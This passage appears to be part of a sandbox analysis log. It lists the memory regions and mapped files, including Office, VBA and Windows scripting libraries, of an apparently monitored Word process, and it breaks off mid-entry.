Region: id = 398 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 399 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 400 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 401 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 402 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 403 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 404 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 405 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 406 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 407 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 408 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 409 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 410 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 411 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 412 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 413 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 414 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 415 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 416 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 417 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 418 start_va = 0x7fef79c0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79c0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 419 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 420 start_va = 0x340000 end_va = 0x340fff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 421 start_va = 0x550000 end_va = 0x550fff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 422 start_va = 0x2dd0000 end_va = 0x2e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002dd0000" filename = "" Region: id = 423 start_va = 0x2e50000 end_va = 0x2ecffff entry_point = 0x2e50000 region_type = mapped_file name = "~dfcb5e95add503238b.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFCB5E95ADD503238B.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfcb5e95add503238b.tmp") Region: id = 424 start_va = 0x7fee4130000 end_va = 0x7fee455dfff entry_point = 0x7fee4130000 region_type = mapped_file name = "gkword.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkword.dll") Region: id = 425 start_va = 0x310000 end_va = 0x312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 426 start_va = 0x74f30000 end_va = 0x75001fff entry_point = 0x74f30000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll") Region: id = 427 start_va = 0x7fee3c20000 end_va = 0x7fee3cd9fff entry_point = 0x7fee3c20000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 428 start_va = 0x7fee3ce0000 end_va = 0x7fee4127fff entry_point = 0x7fee3ce0000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 429 start_va = 0x7fef3840000 end_va = 0x7fef3893fff entry_point = 0x7fef3840000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 430 start_va = 0x560000 end_va = 0x560fff entry_point = 0x560000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 431 start_va = 0x570000 end_va = 0x571fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 432 start_va = 0x580000 end_va = 0x581fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 433 start_va = 0x4540000 end_va = 0x463ffff entry_point = 0x0 region_type = private name = "private_0x0000000004540000" filename = "" Region: id = 434 start_va = 0xae60000 end_va = 0xae6ffff entry_point = 0x0 region_type = private name = "private_0x000000000ae60000" filename = "" Region: id = 435 start_va = 0x7fee37a0000 end_va = 0x7fee3c18fff entry_point = 0x7fee37a0000 region_type = mapped_file name = "gfx.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gfx.dll") Region: id = 436 start_va = 0x24d0000 end_va = 0x24d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024d0000" filename = "" Region: id = 437 start_va = 0x24e0000 end_va = 0x24e0fff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 438 start_va = 0x24f0000 end_va = 0x24f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 439 start_va = 0x40c0000 end_va = 0x4186fff entry_point = 0x40c0000 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 440 start_va = 0xae70000 end_va = 0xb221fff entry_point = 0x0 region_type = private name = "private_0x000000000ae70000" filename = "" Region: id = 441 start_va = 0x7fef82d0000 end_va = 0x7fef82dbfff entry_point = 0x7fef82d0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 442 start_va = 0x7fef8d70000 end_va = 0x7fef8deffff entry_point = 0x7fef8d70000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 443 start_va = 0x7fef8e70000 end_va = 0x7fef8e7efff entry_point = 0x7fef8e70000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 444 start_va = 0x7fefb0d0000 end_va = 0x7fefb0dafff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 445 start_va = 0x7fefd430000 end_va = 0x7fefd4c0fff entry_point = 0x7fefd430000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 446 start_va = 0xaca0000 end_va = 0xad82fff entry_point = 0xaca0000 region_type = mapped_file name = "msword.olb" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msword.olb") Region: id = 447 start_va = 0xb230000 end_va = 0xb4c1fff entry_point = 0xb230000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 448 start_va = 0xb230000 end_va = 0xb4c1fff entry_point = 0xb230000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 449 start_va = 0x7fee3500000 end_va = 0x7fee379dfff entry_point = 0x7fee3500000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 450 start_va = 0x2500000 end_va = 0x2502fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 451 start_va = 0x2510000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 452 start_va = 0x7fef89d0000 end_va = 0x7fef89f5fff entry_point = 0x7fef89d0000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 453 start_va = 0x2520000 end_va = 0x2529fff entry_point = 0x2520000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 454 start_va = 0x2530000 end_va = 0x2530fff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 455 start_va = 0x4640000 end_va = 0x46bffff entry_point = 0x4640000 region_type = mapped_file name = "~wrf{c54d1699-e532-4481-a2a5-2d2adf47316e}.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{C54D1699-E532-4481-A2A5-2D2ADF47316E}.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{c54d1699-e532-4481-a2a5-2d2adf47316e}.tmp") Region: id = 456 start_va = 0xb230000 end_va = 0xc22ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b230000" filename = "" Region: id = 457 start_va = 0x2ed0000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 458 start_va = 0x2ac0000 end_va = 0x2ac2fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 459 start_va = 0x2f10000 end_va = 0x2f13fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 460 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 461 start_va = 0x2fb0000 end_va = 0x2fb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 462 start_va = 0x2fd0000 end_va = 0x2fd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fd0000" filename = "" Region: id = 463 start_va = 0x2fe0000 end_va = 0x2fe3fff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 464 start_va = 0x3340000 end_va = 0x337ffff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 465 start_va = 0x2ff0000 end_va = 0x2ff3fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 466 start_va = 0x3100000 end_va = 0x3103fff entry_point = 0x3100000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 467 start_va = 0x3220000 end_va = 0x3227fff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 468 start_va = 0x38b0000 end_va = 0x38effff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 469 start_va = 0x3230000 end_va = 0x3232fff entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 470 start_va = 0x3380000 end_va = 0x338bfff entry_point = 0x3380000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 471 start_va = 0x3390000 end_va = 0x339dfff entry_point = 0x3390000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 472 start_va = 0x6560000 end_va = 0x65e5fff entry_point = 0x6560000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 473 start_va = 0x33a0000 end_va = 0x33a3fff entry_point = 0x0 region_type = private name = "private_0x00000000033a0000" filename = "" Region: id = 474 start_va = 0xc3d0000 end_va = 0xc4cffff entry_point = 0x0 region_type = private name = "private_0x000000000c3d0000" filename = "" Region: id = 475 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 476 start_va = 0x3af0000 end_va = 0x3af3fff entry_point = 0x0 region_type = private name = "private_0x0000000003af0000" filename = "" Region: id = 477 start_va = 0x3b00000 end_va = 0x3b03fff entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 478 start_va = 0x3b10000 end_va = 0x3b13fff entry_point = 0x0 region_type = private name = "private_0x0000000003b10000" filename = "" Region: id = 479 start_va = 0x3be0000 end_va = 0x3be3fff entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 480 start_va = 0x3bf0000 end_va = 0x3bf3fff entry_point = 0x0 region_type = private name = "private_0x0000000003bf0000" filename = "" Region: id = 481 start_va = 0x3c10000 end_va = 0x3c13fff entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 482 start_va = 0x3c20000 end_va = 0x3c23fff entry_point = 0x0 region_type = private name = "private_0x0000000003c20000" filename = "" Region: id = 483 start_va = 0x3c30000 end_va = 0x3c33fff entry_point = 0x0 region_type = private name = "private_0x0000000003c30000" filename = "" Region: id = 484 start_va = 0x4190000 end_va = 0x4193fff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 485 start_va = 0x42a0000 end_va = 0x42a3fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 486 start_va = 0x42b0000 end_va = 0x42b3fff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 487 start_va = 0x42c0000 end_va = 0x42c3fff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 488 start_va = 0x42d0000 end_va = 0x42d3fff entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 489 start_va = 0x43e0000 end_va = 0x43e3fff entry_point = 0x0 region_type = private name = "private_0x00000000043e0000" filename = "" Region: id = 490 start_va = 0x43f0000 end_va = 0x43f3fff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 491 start_va = 0x4400000 end_va = 0x4403fff entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 492 start_va = 0x7fee5c50000 end_va = 0x7fee5c77fff entry_point = 0x7fee5c50000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 493 start_va = 0x7fefad90000 end_va = 0x7fefada7fff entry_point = 0x7fefad90000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 494 start_va = 0x7fee5c10000 end_va = 0x7fee5c43fff entry_point = 0x7fee5c10000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 495 start_va = 0x4410000 end_va = 0x4423fff entry_point = 0x4410000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 496 start_va = 0xc2b0000 end_va = 0xc3affff entry_point = 0x0 region_type = private name = "private_0x000000000c2b0000" filename = "" Region: id = 497 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 498 start_va = 0x4430000 end_va = 0x4430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004430000" filename = "" Region: id = 499 start_va = 0x46c0000 end_va = 0x46d2fff entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 500 start_va = 0x4430000 end_va = 0x4430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004430000" filename = "" Region: id = 501 start_va = 0x4430000 end_va = 0x4430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004430000" filename = "" Region: id = 502 start_va = 0x46e0000 end_va = 0x46f2fff entry_point = 0x0 region_type = private name = "private_0x00000000046e0000" filename = "" Region: id = 503 start_va = 0x4430000 end_va = 0x4430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004430000" filename = "" Region: id = 504 start_va = 0xc4d0000 end_va = 0xc77ffff entry_point = 0x0 region_type = private name = "private_0x000000000c4d0000" filename = "" Region: id = 505 start_va = 0xc780000 end_va = 0xca2ffff entry_point = 0x0 region_type = private name = "private_0x000000000c780000" filename = "" Region: id = 506 start_va = 0xca30000 end_va = 0xd22ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ca30000" filename = "" Region: id = 507 start_va = 0x7fefa5e0000 end_va = 0x7fefa636fff entry_point = 0x7fefa5e0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 508 start_va = 0x7fef38a0000 end_va = 0x7fef4456fff entry_point = 0x7fef38a0000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 833 start_va = 0x4430000 end_va = 0x4431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004430000" filename = "" Region: id = 834 start_va = 0x46c0000 end_va = 0x46c3fff entry_point = 0x46c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 835 start_va = 0x46d0000 end_va = 0x46fffff entry_point = 0x46d0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 836 start_va = 0x4b50000 end_va = 0x4b53fff entry_point = 0x4b50000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 837 start_va = 0x5690000 end_va = 0x56f5fff entry_point = 0x5690000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 838 start_va = 0xc500000 end_va = 0xc5fffff entry_point = 0x0 region_type = private name = "private_0x000000000c500000" filename = "" Region: id = 839 start_va = 0x7feddf90000 end_va = 0x7fede06bfff entry_point = 0x7feddf90000 region_type = mapped_file name = "unidrvui.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\UniDrvUI.dll" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\unidrvui.dll") Region: id = 840 start_va = 0x4b60000 end_va = 0x4b63fff entry_point = 0x4b60000 region_type = mapped_file name = "stdnames.gpd" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\STDNAMES.GPD" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\stdnames.gpd") Region: id = 841 start_va = 0xd230000 end_va = 0xe1fffff entry_point = 0x0 region_type = private name = "private_0x000000000d230000" filename = "" Region: id = 842 start_va = 0x4b60000 end_va = 0x4b60fff entry_point = 0x4b60000 region_type = mapped_file name = "sendtoonenotenames.gpd" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNoteNames.gpd" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenotenames.gpd") Region: id = 843 start_va = 0x4b60000 end_va = 0x4b60fff entry_point = 0x4b60000 region_type = mapped_file name = "msxpsinc.gpd" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\MSXPSINC.GPD" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\msxpsinc.gpd") Region: id = 844 start_va = 0x4b60000 end_va = 0x4b60fff entry_point = 0x4b60000 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 845 start_va = 0x4b60000 end_va = 0x4b60fff entry_point = 0x4b60000 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 846 start_va = 0x4b60000 end_va = 0x4b60fff entry_point = 0x4b60000 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 847 start_va = 0x4b60000 end_va = 0x4b60fff entry_point = 0x4b60000 region_type = mapped_file name = "sendtoonenote.ini" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\sendtoonenote.ini") Region: id = 848 start_va = 0x7feddf80000 end_va = 0x7feddf85fff entry_point = 0x7feddf80000 region_type = mapped_file name = "oregres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\oregres.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\oregres.dll") Region: id = 849 start_va = 0x4b60000 end_va = 0x4b67fff entry_point = 0x4b60000 region_type = mapped_file name = "oregres.dll.mui" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\oregres.dll.mui" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\en-us\\oregres.dll.mui") Region: id = 850 start_va = 0x7feddf70000 end_va = 0x7feddf75fff entry_point = 0x7feddf70000 region_type = mapped_file name = "oregres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\oregres.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\oregres.dll") Region: id = 851 start_va = 0x4b60000 end_va = 0x4b67fff entry_point = 0x4b60000 region_type = mapped_file name = "oregres.dll.mui" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\oregres.dll.mui" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\en-us\\oregres.dll.mui") Region: id = 852 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 853 start_va = 0x6260000 end_va = 0x62dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006260000" filename = "" Region: id = 854 start_va = 0x7feddf80000 end_va = 0x7feddf8efff entry_point = 0x7feddf80000 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv") Region: id = 855 start_va = 0x7feddf70000 end_va = 0x7feddf7efff entry_point = 0x7feddf70000 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv") Region: id = 856 start_va = 0x7feddf80000 end_va = 0x7feddf8ffff entry_point = 0x7feddf80000 region_type = mapped_file name = "recovr32.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\recovr32.cnv") Region: id = 857 start_va = 0x7feddf50000 end_va = 0x7feddf78fff entry_point = 0x7feddf50000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 858 start_va = 0x7feddf50000 end_va = 0x7feddf8dfff entry_point = 0x7feddf50000 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 859 start_va = 0x7feddf20000 end_va = 0x7feddf48fff entry_point = 0x7feddf20000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 860 start_va = 0x7feddf30000 end_va = 0x7feddf84fff entry_point = 0x7feddf30000 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 861 start_va = 0x7feddf00000 end_va = 0x7feddf28fff entry_point = 0x7feddf00000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft 